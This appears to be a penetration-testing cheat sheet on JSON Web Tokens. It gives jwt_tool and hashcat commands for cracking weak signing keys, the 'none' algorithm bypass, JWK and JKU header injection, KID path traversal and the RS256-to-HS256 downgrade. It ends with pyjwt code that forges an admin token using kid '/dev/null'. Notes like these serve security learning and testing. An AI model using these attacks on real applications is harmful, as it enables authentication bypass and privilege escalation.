JSON Web Token (JWT)
JSON Web Token (JWT) are used to represent signed data. They are commonly used in for authentication and authorization.
The format is: <algo>.<data>.<signature>
. Each part is base64 encoded, so the final string is URL-safe while it can be easily decoded.
The data is signed using a secret key. If the secret key is compromised, everyone can sign messages π.
The signature is used to detect if data was tampered with.
They can be transferred and found in:
- π Headers (
Authorization: Bearer <JWT>
) - πͺ Cookies
- π URL Parameters
- πΌ Request Body
- ...
π A common handy wordlist is jwt-secrets.
Common JWT Attacks
You can use jwt-tools (4.8k β) to attack JWT:
$ git clone https://github.com/ticarpi/jwt_tool.git $HOME/tools/jwt_tool
$ chmod +x $HOME/tools/jwt_tool/jwt_tool.py
$ ln -s $HOME/tools/jwt_tool/jwt_tool.py $HOME/.local/bin/jwt_tool
$ jwt_tool -h
$ jwt_tool 'jwt' # decode
$ jwt_tool 'jwt' -T # encode
$ jwt_tool 'jwt' -I -pc claim -pv value
You can also use jwt.io.
Secret Key Brute Forcing
The secret key may be weak and brute forced:
$ jwt_tool 'jwt' -T -p "key" # use secret key
$ jwt_tool 'jwt' -C -d ./jwt.secrets.list # crack key
$ hashcat -m 16500 hash ./jwt.secrets.list
JWT Header Injection β None Algorithm
We may be able to disable the tampering check by setting the signature algorithm to 'none.'
$ jwt_tool 'jwt' -T -X a # attack 'algo=none'
π It also possible for the signature to not be checked at all by the server after issuing a JWT even if there is an algorithm.
JWT Header Injection β JWK
An application may use the jwk
header to represent the RSA key used to sign the data. We may be able to inject our own RSA key.
$ jwt_tool 'jwt' -T -X i # attack 'jwk header injection'
$ jwt_tool 'jwt' -T -X i -hc kid -hv jwt_tool # with kid
JWT Header Injection β JKU
The jku
header contains a URL or a filename used to fetch a key.
- When a asymmetric algorithm such as RS is used:
$ cat $HOME/.jwt_tool/jwttool_custom_jwks.json # upload to URL as jwks.json
$ jwt_tool -X s -ju "URL/jwks.json" -I -hc kid -hv jwt_tool -pc claim -pv value
π You may check: /jwks.json
, /.well-known/jwks.json
, etc. Refer to SSRF for insight (filtering, attacks, etc.) and setting up a grabber.
JWT Header Injection β KID
The kid header may be present in two scenarios. The first one is to define which key file contains the secret. The second usage is to determines which of the keys in the jku
we should use.
$ # The file "/dev/null" is empty so -p is ""
$ jwt_tool "" -I -hc kid -hv "/dev/null" -S hs512 -p "" -pc claim -pv value
β‘οΈ Refer to Path Traversal and my cheatsheet for more notes.
JWT Header Injection β RS256 to HS256
When using RS256 algorithm, JWT uses the private key to sign the JWK and the public key to verify integrity. We may be able to perform a downgrade attack to HS256 and only use a public key for both.
$ jwt_tool 'jwt' -S hs256 -k public.key -T
You can compute the public key if you have two messages:
$ docker run -it ttervoort/jws2pubkey "JWT1" "JWT2"
Python JWT
The pyjwt (5.0k β) library can be used to manipulate JWT in Python. There are two unmaintained alternatives which are:
- python-jwt by GehirnInc (0.1k β, 2022 πͺ¦)
- python-jwt by D. Halls (0.2k β, 2023 πͺ¦) β has two CVEs
headers = {
'kid': '/dev/null'
}
payload = {
'role': 'admin',
'iat': int(datetime.datetime.now(datetime.UTC).timestamp())
}
To install it:
$ pip install pyjwt
To generate a JWT:
import jwt
token = jwt.encode(payload, '', algorithm='HS512', headers=headers)
To decode a JWT:
import jwt
payload = jwt.decode(token, '', algorithms=['HS512'])
π» To-do π»
Stuff that I found, but never read/used yet.